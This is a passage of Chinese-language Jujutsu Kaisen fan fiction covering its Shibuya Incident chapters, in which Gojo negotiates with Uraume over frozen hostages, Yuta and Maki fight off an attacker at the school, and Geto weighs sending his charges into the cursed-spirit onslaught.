这声音在消散,直到脚底接触到了冰冷的栏杆,五条悟往前一跃,稳稳地落到地上。但这地面并不平坦,整个地铁站完完全全被坚硬的寒冰笼罩,地面和墙面上都覆了一层薄薄的冰。 包括那数以千计的,直直地立在地面上的那连绵的冰雕,透过淡蓝色的阻碍,里面困住的人面上表情栩栩如生,仿佛在一刹那间被留在这里,然后被冻结成冰,无声无息。 被冰和冰冻的人所填满的地铁站里寂静无声,就像是这绝对的寒冷将一切都冻结了,唯一的声响只存在于五条悟的身旁。 电话的那头,冰冷的机械音一次又一次地重复“您好,您拨打的用户暂时无人接听,请稍后再拨”。 五条悟沉默了一下,随后把通话摁掉,接着是手机屏保,显示出现在的时间是下午五点三十分。 “我本以为,所谓的咒术界最强,会来得更快才对。” 下一秒,清脆的脚步声在冰晶间回荡。 五条悟轻哼一声,语气中听不出喜怒。 “这不是在处理你们惹出来的乱子吗。 只你一个?这么看不起我吗。” 白发的诅咒师自冰晶后走出,面无表情。 里梅:“你不怕这里的人死了?” 五条悟:“无论这里有多少人,大抵也是为了限制住我的筹码而已。 在还有作用之前,你不会让他们死的,我说的对吗?” 里梅浅浅合上眼,算是肯定了他的话。 “啊,看来那家伙这么忌惮你不是没有原因的。” “但我到此的目的并不是战斗,而是谈判。” 五条悟轻蔑地冷笑一声,双手插兜,往前走了几步。 里梅眉头一皱,下意识调动身体摆出防御动作。 “别动!” 五条悟仍旧冷着一张脸,怒火似乎已经在心里燃烧,却从不在面上展露:“别紧张嘛,我只是好奇。 你们愿意付出多大的代价,来对付我。” “如果我死亡。”里梅定了定心神,“我所制造的坚冰会在一瞬间破裂,连带着寒冰中封存的人一起破裂。 这个地铁站内的所有人,都会为你的选择而陪葬。” ………… 五条悟像是早就知道了这一幕的到来,境况迫近之时也并无些许的焦躁,只是懒懒地摇头。六眼扫过周围的冰雕,确认对方并没有说谎。 五条悟:“……先说你的条件。” 里梅摊开手掌,将一个四四方方的小匣子展现在五条悟的面前。其上咒力萦绕,四四方方的面上长着一个一个的眼睛,突出的眼球周转着,接着动作一致地看向五条悟。那眼球颤动着,逐渐蔓延上漆黑的线,像是从渊底伸出的视线。 六眼扫过一瞬,看出来了那东西的具体作用。 “封印?” 里梅:“狱门疆,其中是完全混乱的时间,无法从内部打开的咒力容器。” “……这么大手笔啊。” 注意力太过专注,直到诡异的咒力浓度逼近了地铁站的四周,五条悟才发觉。 此时此刻,窗外,尖叫声刺破了原本平静的天空,傍晚时分,晚霞渐渐染上天际,和地面上鲜红的痕迹相映照,显出几分诡异的恐怖来。 五条悟的视线向外转去,空气陷入寂静。但没有太多的时间留给他,五条悟只是沉默着点开通话界面,熟练地拨通号码。 “五条大人,我正要联系您。 不仅仅是东京都地区,远离东京都的北海道和九州岛各地也出现了程度不同的咒力爆发。 现在,现在……” 五条悟的声音仍旧平淡,就像于万千灾难之中永恒的依靠…… “别慌。按第二套方案行动,调动所有的交通线路,为咒术师的行动服务。” ………… 半小时前。 往日繁荣的加茂家,现今正陷入死寂,连飞鸟都不愿在这片土地上停留,仿佛是感受到了什么可怕的事物。 五条悟按着以往拜访的路径走入主宅,门庭山水花草依旧,风铃在门下摇荡着,更衬得这里愈发的寂静。没了巡逻的侍卫,也没有贯穿庭院上下的仆人。 五条悟沉默着走进去,顺着咒力最为浓厚的地方行进。 直到打开了房门,一摞一摞的人倒在地上,只有胸口微弱的起伏,还能证明他们的存活。所有人的脖子上都有一道咒力金线,一直延展到了房门外。五条悟一边顺着这咒力痕迹往深处走去,一边给五条家打了个电话。 五条悟走到咒力蔓延的尽头,打开房门,率先映入眼帘的是遍布整个地面的金色阵法,那一道道的金光流淌着,仿佛有生命一般。 然后在这中心,加茂宪纪面色惨白地跪坐在这里。他大抵是听见了门房被打开的声音,但他并没有动作,指尖微微颤了一下,示意他的内心并不平静。 六眼尽职尽责地收集信息,尽可能地分析现场的情况。而长时间的寂静,让原先和五条悟交流的人感到有些疑惑,出声询问。 “五条大人,我们会立刻安排人手过去。” “等一下。”五条悟的声音顿时冷了下来,“刷”一下把门关上,深呼吸一下,像是在压抑内心的怒火,“情况有变,你们先派人来把整个加茂家围住,先不要进入住宅内部。” “明白了,五条大人。” 五条悟挂掉电话,大脑在飞速分析目前的情况。 阵法的具体效果是什么?连接媒介又是什么?能在这么短的时间内悄无声息地拿下整个加茂家,那些人又去了哪? 五条悟靠着墙面思索,无意识地打开了手机界面,停留在他和鬼舞辻无惨的聊天界面。 下一秒,电话铃声猛地贯穿他的脑海,五条悟惊了一下,接通后才发现不是他希望的那样,而是标准的工作号码。 五条悟清了清嗓子,确保自己的声音平静。 “什么事?” 对面的声音明显非常慌乱。 “五条大人! 东京都二十三区的咒力浓度呈现指数型增长,六成以上的咒术师据点在五分钟内,同本部失去了联系。 就在刚才,涩谷区传来消息,包括涩谷地铁站在内,三条地铁线路和四个地铁站全部被特殊的冰块覆盖。 有人通过咒术师雇佣网站向官方发出信息,要求您到达现场。” 五条悟的心仿佛被揪紧了,“雇佣网站?” “嗯,就是,无惨大人负责管理的那个……” 联络员的声音显出了几分近乎于无措的慌乱,声音断断续续的。五条悟及时安抚道:“别担心,那家伙的网站之前还丢给别人管过,我和他会找时间商量的。” 五条悟的声音短暂地停顿了几秒,随后毫无停顿地接着说到:“涩谷地铁站是吧,我现在就去。” ………… “你们提前了袭击时间,我说的对吗?” 五条悟扯了下最近,露出一个冷冷的笑。 “为了避免我在加茂家发现什么,选择直接发动袭击,再用民众的命牵制住我。 不得不说,无论你们背后是谁,这份见招拆招的本事,我倒是领教了。” 里梅镇定下来,“在谈判毫无进展的时候,我有权拒绝回答你的问题。” “嗯嗯。”五条悟歪了下头,到如今,反倒是镇定下来,“保证被你冰冻的人的安全,收回由你们释放的咒灵。” “除此之外,我有一个追加条件。” 第72章 第 72 章 涩谷事变:…… “有事?” 禅院真希接过妹妹递来的水, 猛地灌下去一大口,接着像是被呛住一样,双下唇瘪了起来。 “怎么是温水?” 禅院真依轻哼一声, 语气中带着点无奈。 “大冬天剧烈运动之后还想喝冰水?没有。” “哎呀小妹。”真希屈起手臂肘了一下真依, “都说了你姐姐我体质好, 就喜欢瞎操心。” “问你呢。”禅院真希把水瓶拧紧,随手一抛给到真依的手上, “要出门?” 乙骨忧太点点头,直到真希在她妹妹兜里掏了两下,拽出自己的手机, 单手解开锁屏, 随后滑到聊天界面。 “非常不巧哦,有个混蛋老师让我们今明两天别出校门。” 乙骨忧太:“啊?” “五条老师为什么这么说?” “谁知道那个笨蛋是怎么想的?”真希并没有把这段插曲放在心上, 本来她这两天就准备留在高专的来着,与其思考为什么会这样, 倒不如安心做好自己的事情。 禅院真希轻哼一声,手中的长枪绕了一圈,“怎么样,反正没事干, 要不要陪我练两手?” 乙骨忧太感觉心脏跳动得愈发剧烈, 仿佛有什么不好的事情要发生。里香与他同感, 自觉地附在他身后。 “……我总感觉会有什么大事要发生。” “能有什么事,这里可是高专。”禅院真希撇了撇嘴, 坏笑着揪了下真依的头发, “总不能有什么不自量力的诅咒师跑来找茬吧……” 话音刚落,急促的警报声响了起来,禅院真希还未落下的语音顿时凝滞, 指尖攥紧了长枪。 “啧,真有入侵者?” 乙骨忧太连忙动作起来,向咒力波动最为剧烈的山门口奔去。 警报声作为伴奏,禅院真依思考着五条悟对他们的嘱咐是为了什么,下意识拿出手机,试图和自己所属的辅助监督机关联系。 事实上,禅院真依当初转行去做辅助监督,一方面是因为咒术师天赋有限,另一方面,则是自身对于成为咒术师这一目的并没有太多的执念俄渴求。但真希那家伙一定会留下来,她不想战斗,却想陪着战斗的姐姐。 所以在最初一段时间的训练后,她向指导老师提出了转行辅助监督的念头。 很顺利,虽然多了些必须要做的事,和姐姐的相处时间也不可能像以前一样变得那么多,但好在她的追求和梦想,此刻合而为一。 所以,说这些到底是为了什么呢。 准确地来讲,身为辅助监督的禅院真依,日常的训练内容和正式的咒术师完全比不了,除了必要的体能训练外,大多是时间都放在了文职工作上面。 ……所以她察觉得是最慢的。 那到咒力波动从远处的山门□□发,随后以难以理解的速度移动,几乎横跨了整座山的高度,自下而上,从几人的头顶略过,然后飞速地向学校内部飞来。 禅院真希是最先发觉的,她有十几年的战斗经验,还被同为天与咒缚的伏黑甚尔和最强的五条悟训练了相当长的一段时间,虽说看不见咒力,但对战斗局势有着极其精准的把控。 乙骨忧太是次之,他有身为特级咒术师的咒力水平和,身为诅咒女王的协助者,可惜的是战斗经验欠缺,被这突如其来的敌人打得措手不及。 所以她是最慢才发觉的。 直到来人到达了她的身后。 “小妹妹,你身上,好像有很有意思的东西啊。” 禅院真依猛地转头,明明是冬天,她的额间却瞬间溢出点点汗水,几缕短发被粘在额头上,被恍惚间的微风抚动。 她,在说什么? 这个念头最被展开,然后她的身子彻彻底底地僵住了。身后似乎传来两声呼喊,但她听不清,这声音在呼喊着什么,在呼喊着谁。 最后到达大脑的才是痛觉,从胸口蔓延而上的剧痛,几乎要摧毁所有的思绪。禅院真依意识到自己受了很严重的伤,刺目的鲜血从刀刃和肌肤间的罅隙喷洒而出。 “唔呃……” “真依!” 禅院真希蒙的刹住脚步,下意识想要掷枪迎敌,却被理智按下手上的动作,向她奔去。 “不许……” 瞬间投入战斗的是从阴影中浮现的诅咒女王,嵌着细长利爪的苍白色手掌瞬间自上而下劈落,汹涌的咒力从祈本里香大开大合的动作一齐被释放出来,其恐怖的咒力能量,哪怕是万也有所忌惮,身形一闪,离开了原地。 失去了支撑,禅院真依的身体直直地掉落,在解除地面之前,便被祈本里香的大手一揽,保护在怀里。 紧接着,祈本里香飘回乙骨忧太身边,把怀里血迹斑斑的人送到他面前。 “朋友……朋友……” “……忧太的朋友。” 乙骨忧太没有任何犹豫地伸出手,使用反转术式为其治疗。 禅院真希紧随其后,赶到他身旁,眸子几乎是凝滞地看着半躺在地上、毫无声息、上身被大片血渍浸染的真依。这人仿佛被彻底撕裂,但在反转术式的作用下,又慢慢地恢复。 禅院真希不敢松懈,意识注意着身旁的一切,从敌人消失的地方,再到任何可以隐藏身形的地方。但对方太快了,二人从来都不是一个水平的对手,敌人的攻击直冲面门之时,唯有微微放大的瞳孔,才示意了对方的靠近。 来不及思考,多年的战斗经验促使她瞬间做出回应,长枪瞬间被折断,中和后的力道击打在她身上,禅院真希定了定神,后退两步稳住身形,果断放弃已经废弃的长枪,转而抽出被系在腰间的两把长刀。 这下子,是对方表达疑惑了。 “诶? 另一个小妹妹,你的身体素质和你的咒力水平不相符啊。” 身后,乙骨忧太还在进行治疗,禅院真希额头上直冒冷汗,包括愤怒带来的刺激,她眸色一紧,瞬间从原地弹射而出,身子做出超乎常理的动作以规避对方投掷而来的长枪。 没有暂停的理由,双刃从两个方位对面前的敌人发动针对性袭击,与此同时,祈本里香也到达了敌人的身后,利爪向其撕扯而去。 身后的诅咒女王还有些许的威胁,但身前这个仅凭咒具攻击的人类,确实无法提起万的战斗性质。 黑色的液体覆盖上万的手心,随后轻易地抓住了双刃中的一柄,身体向前,躲开祈本里香的袭击,借助禅院真希抽刀的力道,向她扑过去,顺势一拳打在她的腹部。 瞬间,禅院真希的身体倒飞出去,撞断了数十棵大树才停下。 接着是祈本里香的第二下招式,万将腰肢下压,苍白的利爪是贴着她的脸划过,带来一道伤痕。浴袍顺着身体的动作,从大腿中间落下,一瞬间压弯了地面的杂草。 万一脚踹开祈本里香,不敢置信地摸了摸自己的脸,直到感受到那点点的湿润在脸上蔓延开,这才确信自己确确实实受了伤。 哪怕这伤口有多么微不足道。 “啧,敢伤我的脸……” 随后,透明的、翩跹的昆虫翅膀从她的肩胛骨处延伸,展开,在她躲开第三道攻击后,带着她的身体飞向空中。浴袍被虫翅的底端向下压,露出半个白皙的后背、肩头的锁骨,手腕处的黑色液体一直蔓延着,逐渐覆盖住全身,从脖颈再向上,直至覆盖整个面容,覆盖全身,自上而下显现出非凡的力量感。 脸部呈现出漆黑的昆虫复眼,头顶双触,像是节肢的昆虫一样。 祈本里香不甘示弱,随着她飞上半空,两人战斗在一起。但被昆虫铠甲辅助的万,显然在敏捷性和力量方面高出祈本里香一头,数次锤断她的獠牙,拽着她如发丝般杂乱的触须。 但祈本里香的咒力如同海一样广阔,损毁的躯体几乎是在瞬间就恢复了原来的模样,像是永不畏惧、永不停歇的战士,一次又一次地冲上前去。 地面上,乙骨忧太停下输送咒力的动作,感觉到禅院真依的气息逐渐平缓,终于松了口气,抹了一把额头上的汗。但真依还醒不过来,战斗不能波及她。 还有真希…… 乙骨忧太向不远处被轰出一个口的林子投去了目光,在混乱的最前方,禅院真希用断枪撑着自己的身体,从乌七八糟的树林子里蹦出来,对他比了个手势,示意自己没事,随后便向他这边跑过来。 但半空中,被虫之铠甲包裹的万,似乎是厌烦了同无惧不灭的咒灵对战,目光转移到战斗之外,随意一抬手,黑色液态金属瞬间在乙骨忧太所在的地方爆炸开来。 禅院真希一咬牙,眼睁睁看着二人被黑色的液体吞没。 ………… 躲不开。 带着真依,躲不开。 不带真依,不可能。 她会死。 朋友会死,朋友的妹妹会死。 不能硬抗,无法硬抗。 乙骨忧太跪坐在地上,目之所及之处被滔天的黑色吞没。 近身的防御手段…… 等等,他好像! ………… 巨大的爆炸声,随之爆发的咒力冲击甚至阻塞了禅院真希前进的路,她的身子被扬起的风凝滞在半路上,心里冰冷到了极点。她的呼吸颤抖着,死死捏住断枪的手指发白,还有脱力的迹象。 他踉跄了一下,接着将所有哽咽尽数咽入喉咙。 直到黑色的烟尘散开,直到禅院真希奔跑到爆炸波及的边缘,她听见乙骨忧太急促的咳嗽声。 “忧太!”禅院真希带着希望上前,而这烟尘终于散去,禅院真依的身子被他牢牢护在后面,他自己则是跪趴在地面上,捂着胸口咳嗽。点点的黑色从他手上脱离,暗示这他如何度过这次的危机。 方才千钧一发之际,乙骨忧太复制了万的虫之铠用以抵抗突然到来的攻击。虽然只有一瞬的反应时间,模仿的强度和精细度也不够,但好歹是为他附加上了一份保障,阻挡了大部分爆炸的力道。 剩下的,则由乙骨忧太自己阻拦,绝对不可将身后的禅院真依暴露至敌人的视线中。 万还被祈本里香缠在半空中,乙骨忧太抓紧时间,给禅院真希浅浅治疗了一番。 不过天与咒缚的身体确实不容小觑,哪怕是闹出了这么大的动静,但禅院真希并没有受多严重的内伤,身体上的痕迹只是看起来恐怖而已。 如果这是日常训练,如果面对的是熟悉的朋友,而非一见面就对妹妹下杀手的敌人,禅院真希或许会颇为幽默地说:“抗揍只是我最微不足道的一个优点,否则怎么应对那两个一点分寸都没有的混蛋成年人啊。” 但现在的局势容不得一点马虎,乙骨忧太看着禅院真希的眼睛,声音沙哑:“真希,你先带真依离开。” 禅院真希下意识道:“留你一个?” “里香会帮我,而且……” 顺着乙骨忧太的目光看去,不远处,两个熟悉的身影正飞速向他们所在的地方移动。 是熊猫和狗卷棘。 禅院真希用力闭了下眼,深知将真依送离是必须的,而且现在也没时间推脱犹豫。所以她只是拍了下乙骨忧太的肩膀,随后抱起禅院真依的身子,眼神坚定。 “我很快就回来,拜托你了,忧太!” 乙骨忧太点头,看着她的身影消失在远处,握紧了手上的刀。 …… 禅院真希抱着真依飞速穿过教学楼,将她安置到了原离校门的宿舍处,随后急急忙忙地就要再回去。 然而,在禅院真希还未踏出门口之时,从禅院真依身上传来的,清脆的电话铃声,回荡在整个寝室里,停下了禅院真希的步伐。 “……啧” 顾不得那么多,禅院真希抓起手机,一边往外跑,一边按起接听键。 还不等真希说话,对面传过来一个颤抖着的、微微带着哭腔的女声,还有连续不断的喘息与啜泣。 “真依……呜……真依,别过来……” “告诉你姐姐,高专的大家,还有五条先生……” 电话那边,少女抬头,目光触及灰沉沉的窗外。 一个,两个,三五成群,那是无法计数的咒灵,如同末日十分的秃鹫一样,趴在玻璃窗外。 四周静悄悄的,怪物在流淌着唾液。 然后是一道碎裂声,伴随着黏腻的声响,那暗色的恐怖在逼近。 少女握紧了手上的匕首,重重地呼出一口气。 “……算了。” “活下去。” 禅院真希还听得见的,只有冰冷的机械声响。 第73章 第 73 章 涩谷事变:…… “夏油, 你……” “真奈美,你让我冷静一下。” 夏油杰皱着眉头,手上动作不停, 翻看着下辖机构传来的情报。刺目的红色蔓延至大片的区域, 示意被咒灵潮攻溃的地区还在不断增加, 平民和咒术师的死亡人数也在不停地上升。 直到几分钟前,情报传递的速度慢了下来, 往往是隔了一段时间,伤亡人数才会有小幅度的上涨,接着又是停滞, 再上涨。 “夏油, 你知道这代表着什么。” 情报更新速度放缓,往往不是伤亡人数有所降低, 更大的可能,是负责收集上传情报的工作人员死伤惨重。 ………… “你不出去帮忙吗?也不放孩子们出去?” “我……”夏油杰握紧了拳头, 指尖深深刺入掌心。 菅原真奈美转过头,看着不远处守着大门的同僚,视线敏锐地瞥到了角落的墙面上,看着又有两个人翻了出去, 面上扬起无奈的笑。这笑容是浅浅的, 带着点宽容。 “你呀。 一边让孩子们别出盘星教, 一边又对他们离开的动作视而不见。 夏油,你还真是矛盾呢。” “别打趣我了, 真奈美。”夏油杰摇摇头, 视线落在一旁,似乎不敢看她,“我在他们的身上安排了侦查型的咒灵, 里面带着我的咒力,如果出了意外,至少还能帮他们拖延下时间,我也可以知道。” 他又想起几个小时前,五条悟对即将到来的危机的猜测。 敌人采取了最为残忍的手段,不顾一切地向还未暴露在普通人视线之中的咒术界发起了自杀式的袭击,无论他的目的是什么,现在的场面已经不是浅薄的“隐瞒”两个字可以解决的。 但这已经是之后需要考虑的事了,现在最紧急的,还是如何组织那如海一般的咒灵潮。 此时此刻,夏油杰仿佛再一次被置于选择的十字路口,前有凶狠的拦路虎,向他展露尖锐的獠牙,黏腻的唾液顺着利齿流淌而下,在蜿蜒道路的地陷处淌下一个个水洼。 而身后,则是一片迷茫的黑雾,硕大的颗粒飘散在空气中,阻挡你的视线,阻塞你的鼻腔,让你非双目看不见除混沌之外的任何事物,双耳听不见除恐惧之外的一丝声音。 你知道那雾中有怪物。 ——你知道以敌人的狡诈、奸滑,绝对会用年幼的孩子们来威胁你。 但你不知这怪物何时出现,你也不知这怪物适合存在、何种攻击方式,你只知道那怪物正在虎视眈眈地盯着你,试图趁虚而入。 “夏油,你有听见我在说什么吗?” 菅原真奈美见夏油杰对她的话没一点反应,反倒是怔怔地顿在那里,像一尊长久思索的雕像,又像是被噩梦魇住的普通人。 她有些奇怪,但更多的是担心,接着伸出手按住他的肩膀,轻轻晃了晃。 夏油杰这才如梦初醒,转过头去看她,对方眼底的担忧与关心直直地照了进来,像是根根细微但散发着柔和光芒的金丝。 “……真奈美,你知道我在担心什么吗?” “担心孩子们的安危?” 菅原真奈美双手抱胸,歪了下头,无奈地看着他。 “……差不多吧。” 夏油杰垂下眼眸,眸中透出一丝温柔。 “啊,差不多,你也这么认为吗?” “嗯。”菅原真奈美点了下头,“你是会思考这些东西的人。” “那你觉得,我该如何去做呢?” “问我的话……”菅原真奈美沉吟片刻,发觉任何的话语都不如现实来得有冲击力,任何劝说都不如用对方的话语说服对方。 “夏油,我们是同伴吧?” 夏油杰的视线和她对上,直直地撞在一起,顺着她的视线,思绪流淌到遥远的别处。 ………… 十年前。 彼时还未成年的夏油杰,已经是盘星教的实际掌控者了,手底下还带着一批有咒术师天赋的孩童。 见孩子们的第一面,夏油杰给自己理了个扮熟的装扮,头发被好好地扎上去,没有漏掉任何一缕发丝,显得他的五官更加挺立、成熟,显得自信满满。 他刚刚逃离高层的管控,彻底找到自己愿意追随的事物,深吸了一口气,推开教室的房门,走上讲台。 下方,有被父母以“得了怪病”“精神有问题”为原由送来的孩子,他们在浸透了普通人的世界中感到茫然无措,仿佛被整个世界所不容。 但在夏油杰这里,他们至少能得到同为咒术师的夏油杰的包容,能在咒术师的环境下长大,学习如何与自我的天赋和解,学习如何处理咒术师和普通人的关系。 还有的是被“窗”根据咒力波动探查挖掘出来的咒术师苗子,根据咒力波动的强弱区分天赋,具体的年龄从几岁到十几岁不等。 在这些“隐藏在人群之中的咒术师”,心智评估达到标准的时候,“窗”会选择直接和这些人直接对接,倘若其年龄过小,则与监护人对接。 还有一些,是夏油杰自己在出各种任务的途中所带回来的孩子。她们的父母和亲人并不关注她们的遭遇,任由有天赋者被普通人欺压辱骂,不寻方法解决,反倒是将其视作灾祸。 典型的就是坐在最中间的枷场姐妹,她们的目光自夏油杰进入房间的那一刻,就一直挂在他的身上。面对陌生的环境和陌生的人群,她们握着双手,目光一瞬不动的盯着他,生怕再遭受到原来那地狱般的待遇。 夏油杰如往常一样作了开场白,对孩子们露出如沐春风的笑容。 一阵风在吹拂着枝杈,一朵云在推动另一朵云,受难者为孩童创造足够安全的生活环境,足够尊重的心灵对待,不仅是为了他们,也是为了自己。 枷场菜菜子听他说完,抬着头,懵懵懂懂地眨着眼。 就像是普通的学生一样,举起手向夏油杰提问。 这里是何方。 我们是谁,你又是谁。 历经黯淡的人们,饱受苦难的人们,聚集在这里,是为了什么。 夏油杰愣了一下,看过去,看见她澄澈的眼睛。 “我们?” “嗯,我们?” 夏油杰摸着下巴,视线转了一圈。 “那么说好了,我们是家人哦。” 话音刚落,有沉默,有不屑,还有近乎于惊叹的—— “哇!是家人!” 夏油杰来到她面前蹲下来,伸手抚了抚她的头顶。 “现在你们还小,我保护你们,教导你们。” 角落坐着的一个女孩子敲了敲桌子,瞬间引起了所有人的视线。她看上去有十一二岁,在这群孩子里已经算是年龄比较大的了。 她的家庭在社会底层,父母整日为了生存而奔波,再浓厚的情谊都在日复一日的争吵中偃息,生活在一张张账单和闪烁的淡黄色光亮下变得乱七八糟。 两位大人的负面情绪源源不断地流淌而出,顺着血管蜿蜒而下,凝聚成鲜红的怪物。 幼时的女孩直愣愣地抱膝坐在床上,目光直视前方,耳旁是咒灵细细碎碎的呢喃。 直到十一岁那年,父母吵架吵得格外凶狠,被搁在房门里的她捂着耳朵,瞳孔放大,一圈打爆了咒灵的脑袋。 角落零零散散的蝇头被她一手一个抓住,按到了坐在地上喘气的夫妻俩,这才收获了短暂的宁静。 接着半月后,父母紧急找上盘星教,边哭边喊着一定要带走他们的女儿。 “家人?你不觉得很可笑吗?” 阿雅翘着腿,懒散地靠在椅背上,对这种说法不屑一顾。 “你凭什么觉得自己能取代正常人的家庭,凭什么能打破不正常家庭中成长的孩子,对家庭的厌恶?” “阿雅。”夏油杰的声音沉沉的,并没有因为她的话而生气,“我们是因为咒术师的天赋才聚集在这里的,不是吗?” “哼。” 阿雅轻哼一声,算是同意了他的话。 “那接下去呢? 你觉得自己可以永远当我们的家人?” 等你为这群人量身打造的美梦必须走到尽头,等现实为茫然的咒术师打出致命一击,他们又当如何? “这就涉及到另一个件事了。” 夏油杰:“虽然这是我的私心,但我并不会强迫各位一定要留在咒术界。” “倘若各位在未来决意离开,那我便只是你们的师长,天地远阔,有缘再见。 当然,倘若各位愿意抽空会盘星教看看,我也永远欢迎。” 夏油杰垂下眸,面上露出平静的笑意,一点一点,在脸颊上蔓延开来。 “但倘若各位最后愿意留在咒术界…… 我相信那个时候,做出这个选择的你们,已经有了值得追求的事物。” “那样的话,我们就是同伴了。” 为了共同的目标,为了永恒的理想,聚集在一起,为之奋斗。 我们是同伴。 我们做好了一切准备。 …… “那么。”菅原真奈美眯着双眼,露出一个温柔的笑,“你呢,夏油?” “你是否做好了面对同伴的死亡的准备呢?” “不愧是真奈美。”夏油杰象征性地鼓了两下掌,眼神有些哀伤,“总是这么一针见血呢。” 夏油杰轻叹一声。 “我想是没有的。 我已做好准备,迎接自己的死亡。 但还没有准备好,接受每一个同伴的逝去。” 似乎是为了缓和下气氛,菅原真奈美轻笑着说:“这其中,包括我吗?” “当然。” 菅原真奈美低头,捂着嘴笑了一下,眸中似有繁星点点。 “我的荣幸。” “又在开玩笑了,真奈美。” 夏油杰摇摇头,“我可没有这么大的面子。” “不过你说得对。”夏油杰正了正心神,终于下定决心,“无法接受他们的逝去是我的事情,但不能因为这样,就束缚了孩子们的行动……” “顶多,我像之前那样,留个咒力吧。” 有些真相容易令人恼怒,正义者和背负者往往需要考虑得更多。他们有着更多的顾虑,会被更多的东西牵绊住,这是支撑着他们一路走下去的存在,但也在危急时刻,成为高悬于天空之上的达摩克里斯之剑。 与此相比的是,鱼死网破会造成难以估量的伤害,对于正道的伤害。 敌人在暗,我等在明,不可谓之未有万般艰难险阻。 第74章 第 74 章 涩谷事变:…… 盘星教内, 乐意出门战斗的孩子,夏油杰划分了受袭击的地区,并安排了各自支援的人员。而不愿意出门战斗的孩子, 盘星教内部庞大而坚固的防御系统, 哪怕是特级咒灵也有一战之力。 “所以, 你们两个?” 静佳眨眨眼睛,在她的身旁, 枷场姐妹俩一左一右坐在她身边。 “留下来,照顾你。” 枷场菜菜子一个猛扑抱上去,“就是就是!” “真是麻烦你们了……” “怎么会呢静佳姐!” “之前, 静佳姐也很照顾我们才对。”枷场菜菜子握住她的手腕摇了摇, “夏油大人已经和我们说了,而且你看。” 漂亮的粉蓝色蝴蝶落在枷场菜菜子的手心, 扇了扇翅膀,随后便老老实实待在这里。 “这是夏油大人留下来的咒灵, 还能拟态成各种东西。 我们这要是出了问题,夏油大人绝对会第一时间赶过来的。” 静佳看着眼前的小东西,若有所思地点了点头,脸上露出一个温和的笑容。 “嗯, 我知道了。” 随后, 她低下头, 眼眸微微下垂,声音轻到仿佛会飘散在风里。 “真是, 谢谢他了。” ………… 与此同时, 东京咒术高专内,乙骨忧太和祈本里香相互配合着,分别从不同的方向对万发起进攻。 虫之铠的强度, 足以化解特级之下的大多伤害,狗卷棘的言灵所能发挥的力量也有限,主战场还是属于乙骨忧太和万。 另一处,禅院真希听着电话里传来的几句没头没尾的嘱咐声,还有强烈到无法忽视的哽咽,电话挂断前那愈发逼近的咒灵的嘶吼声,心中不祥的气息越来越浓烈。 她下意识回拨回去,但回应她的只有一阵忙音。 “该死!该死的……” “发生什么事了!” 禅院真希指尖颤抖着,手机几乎要从她的手掌滑落。 “啧……” 禅院真希用力按住手机的拨号键,迅速打出记忆里那个熟悉的号码,通话声响了两下,然后被接起来。 “喂!老师,五条老师!” “发生什么事了,外面发生什么了!” 禅院真希瞪大了眼睛,声音嘶哑得不成样子。 电话那头,五条悟此刻正悬浮与高天之上,正在赶往涉谷地铁站。 他一只手握着电话,听着对面传来的禅院真希的声音。另一只手的臂弯里带着个年轻女性,腹部向下,身子软软地弯下去,长短不一的头发散落着,面上和身上的衣服都沾满了血迹。 “咒灵群在毫无预兆的情况下袭击了居民区,无论是平民还是咒术师都死伤惨重。” 五条悟简短地描述了一下外面的状况,极端残酷的事情被摆到明面上,反而使禅院真希冷静下来。 五条悟接着问到:“高专呢,出什么事了?” 禅院真希深深呼出一口气,赶到器材室,为自己换了几把咒具,长刀被她绑在背上。还有被摆在柜子里的,特级咒具,游云。 为了从伏黑甚尔手里拿到这柄特级咒具,五条悟可是大出血好几个亿呢。 将双节棍合起,放进挎包里,禅院真希顺势拿上墙壁上挂着的一柄长枪。 禅院真希边整理装备,一边回答五条悟。 “就在刚才,高专闯进来一个强得离谱的女人。 她先是袭击了真依,还好忧太及时进行了治疗。 他们还在和那家伙争斗,我现在马上要……” “真希。” 禅院真希的动作顿了一下,“怎么了?” “你先告诉我,袭击者的作战能力,与忧太相比如何?” 禅院真希回忆了一下方才短短几分钟内的画面,给出一个答案。 “互有胜负,但相互间都难以突破。” 禅院真希的语气有些迟疑。 “但我不确定她是否能开启领域。” …… 五条悟的身影在半空中停了下来,声音平稳而冷静,听不出什么情绪。 “夜蛾现在应该在学校,你联系上他,用高专的结界探测高专内的咒力波动。” 禅院真希楞了一下,有些疑惑地问到:“你是怀疑……” 五条悟是这么想的,按照他对敌人的猜测,至少由两部分组成,有可能会更多。 第一是大批曾经的御三家的旧部,以及其所携带的庞大数量的咒灵群,这也构成了本次袭击的基础。通过大面积袭击居民区和咒术师官方网点,先一步向咒术界示威。在巨大的压力和后果之下,决策者往往更难以作出决定。 不过咒术界的最高决策者目前还是五条悟,所以这个前提对他而言并不会起太大的作用,顶多就是会耗掉一些脑细胞。 那么下一步的行动就很明显了。 由于咒术界的人员构成是一个典型的金字塔结构,最为顶尖的战略级强者就那么几位,余下的人争夺一级咒术师的位置,再往下就是二级、三级、四级,绝大多数时候,这个部分往往被放在一起考虑。 因为处于这个位置的人员,在战斗上并没有以一敌万的能力,在组织框架和对权力的把控上来看,也没有比占比相对特级咒术师较多、实力相比尾端咒术师更强的一级咒术师群体更有优势,多数情况下只是作为庞大的咒术师力量中的一员,成为某些对抗之下的消耗品。 再往下就是能看见咒灵,但没有术式,战斗能力最弱的一批人,主要是以辅助监督体系和“窗”体系为标志的辅助体系。一般只作为战斗之外的辅助者,情报的收集和传输者。 又因为除了“窗”的个别重要机关以外,其余的偏远地区或是经济并不发达的地区,高层下派的咒术师力量相对较少,在遭受袭击之后,近乎全灭。 像是现在有关伤亡人数的情报,就是还能勉强运作的“窗”传输到数据中心的,随着情报员的死亡,情报的传输也遭到了影响,现在已经越来越难以看清具体的局势了。 就在五条悟思考之际,他手里提着的人醒了过来。正好,五条悟身形一闪,带着这家伙回到了地面。 安用力晃了晃自己的脑袋,确认四肢还是完整的,脑袋上还没有个血窟窿,浑身上下虽然酸痛的要死,但大多都是过度战斗后的肌肉酸痛而已。 还有在昏迷前看见的那到湛蓝的光…… 余光瞥见身后一语不发的五条悟,安惊魂未定,后知后觉才反应过来是对方救了自己。 “五条先生!” “嗯。”五条悟双手插兜,远远地眺望着其他地方,简短地吩咐了几句,“你所在的部门已经被确认全灭,只剩你一个。” 五条悟抬了抬下巴,示意她往远处看,顺带着挥了挥手,指尖释放的蓝色光芒吸引了车队的注意。 五条悟的六眼浅浅扫过,上面坐着的除了一二级咒术师外,还有大量的伤员。 “这车队估计是去中央城区的,你跟着他们吧。” 安眨了眨眼,面色凝重。 “您呢,五条先生?” 